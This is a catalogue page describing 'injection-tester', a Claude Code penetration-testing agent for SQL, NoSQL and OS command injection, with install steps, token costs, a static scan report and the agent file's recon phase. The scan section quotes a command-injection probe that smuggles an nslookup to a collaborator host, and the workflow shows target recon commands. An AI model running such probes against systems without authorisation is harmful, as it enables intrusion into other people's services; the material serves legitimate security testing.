injection-tester

injection-tester is an agent for Claude Code from Stickman230/claude-pentest. It costs 60 tokens per session (3,643 once invoked), scanned A, original, MIT.

A security-testing agent for injection flaws, where attacker-controlled input is treated as code or a database instruction. It covers SQL, NoSQL, and operating-system command injection in parameters, request bodies, headers, and GraphQL queries.

In plain words
What is it for?
Use it to inspect HTTP and API inputs, run automated SQL injection checks with sqlmap, and perform manual SQL, NoSQL, and command-injection probes.
Why use it?
It helps find places where untrusted input could alter database queries or execute commands.

Agent for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it runs a file that does not travel with it, so clone the repository first. The line is python outputs/ENGAGEMENT/findings/finding-NNN/poc.py \.

Part of the pentest plugin — 7 skills, 5 commands, 15 agents shipped together

Good fit Use it to inspect HTTP and API inputs, run automated SQL injection checks with sqlmap, and perform manual SQL, NoSQL, and command-injection probes.

Compare 6 agents from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/Stickman230/claude-pentest
agentmods
npx agentmods add agents/stickman230/claude-pentest/injection-tester

Made for: Claude Code.

Or install pentest, the plugin that ships this one along with the rest of its 7 skills, 5 commands, 15 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for injection-tester

README.md
[![agentmods](https://agentmods.dev/badge/agents/stickman230/claude-pentest/injection-tester/github.svg)](https://agentmods.dev/agents/stickman230/claude-pentest/injection-tester)
Your own site
<a href="https://agentmods.dev/agents/stickman230/claude-pentest/injection-tester"><img src="https://agentmods.dev/badge/agents/stickman230/claude-pentest/injection-tester/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for injection-tester

Your own site · 80×15
<a href="https://agentmods.dev/agents/stickman230/claude-pentest/injection-tester"><img src="https://agentmods.dev/badge/agents/stickman230/claude-pentest/injection-tester.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 60 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 3,643 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00060 $0.03643
Opus 5 $0.00030 $0.01821
Sonnet 5 $0.00012 $0.00729
Haiku 4.5 $0.00006 $0.00364

Measured 9d ago against content hash 783eeb1b64c9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

injection-tester scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -s -d "host=127.0.0.1;nslookup+BURP_COLLABORATOR_HOST" \

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

description: Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase work
plugins/pentest/agents/injection-tester.md · 314 lines

How it starts

The opening of the file, as written. The whole thing — 314 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Injection Tester

Execute injection vulnerability testing across three attack types: SQL injection (error-based, blind, time-based, UNION), NoSQL injection (MongoDB operator injection), and OS command injection (Unix and Windows). Covers GET/POST parameters, JSON bodies, HTTP headers, and GraphQL queries.

Workflow

Phase 1: Recon

  1. Mount skill files:
    Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
    Read plugins/pentest/skills/mks/SKILL.md
    Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/sql-injection-quickstart.md
    Read plugins/pentest/skills/pentest/attacks/injection/nosql-injection/nosql-injection-quickstart.md
    Read plugins/pentest/skills/pentest/attacks/injection/command-injection/os-command-injection-quickstart.md
    Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/payloads/basic.md
    
  2. Identify injection surface from previous inventory if available:
    cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | \
      grep -E '"GET"|"POST"|"PUT"' | head -40
    cat outputs/ENGAGEMENT/analysis/api-endpoints.md 2>/dev/null | head -80
    
  3. Probe the target for injectable parameters directly:
    # Collect URLs with query parameters (historical + crawl)
    gau TARGET 2>/dev/null | grep '?' | sort -u \
      | tee outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt
    waybackurls TARGET 2>/dev/null | grep '?' | sort -u \
      >> outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt
    
  4. Identify technology stack clues (determines injection type priority):
    curl -sI https://TARGET/ 2>&1 | grep -iE 'server|x-powered-by|x-aspnet|x-runtime' \
      | tee outputs/ENGAGEMENT/activity/injection-stack-fingerprint.txt
    
    • PHP/MySQL/MariaDB/MSSQL/PostgreSQL/Oracle → SQLi is primary
    • Node.js/Express/MongoDB → NoSQLi is primary
    • Any backend with user input passed to shell commands → CMDi possible
  5. Log:
    {"timestamp":"...","agent":"injection-tester","action":"recon","target":"https://TARGET","injectable_params_found":12,"stack":"node+mongodb","priority":["nosql","cmdi","sql"]}
    

Read the full file on GitHub · 314 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 314 lines · 60 tokens per session scan A 783eeb1b64c9

Subscribe to this mod's changes

injection-tester is an agent published in the GitHub repository Stickman230/claude-pentest (100 stars, last pushed 3mo ago), licensed MIT. It adds 60 tokens to every session and 3,643 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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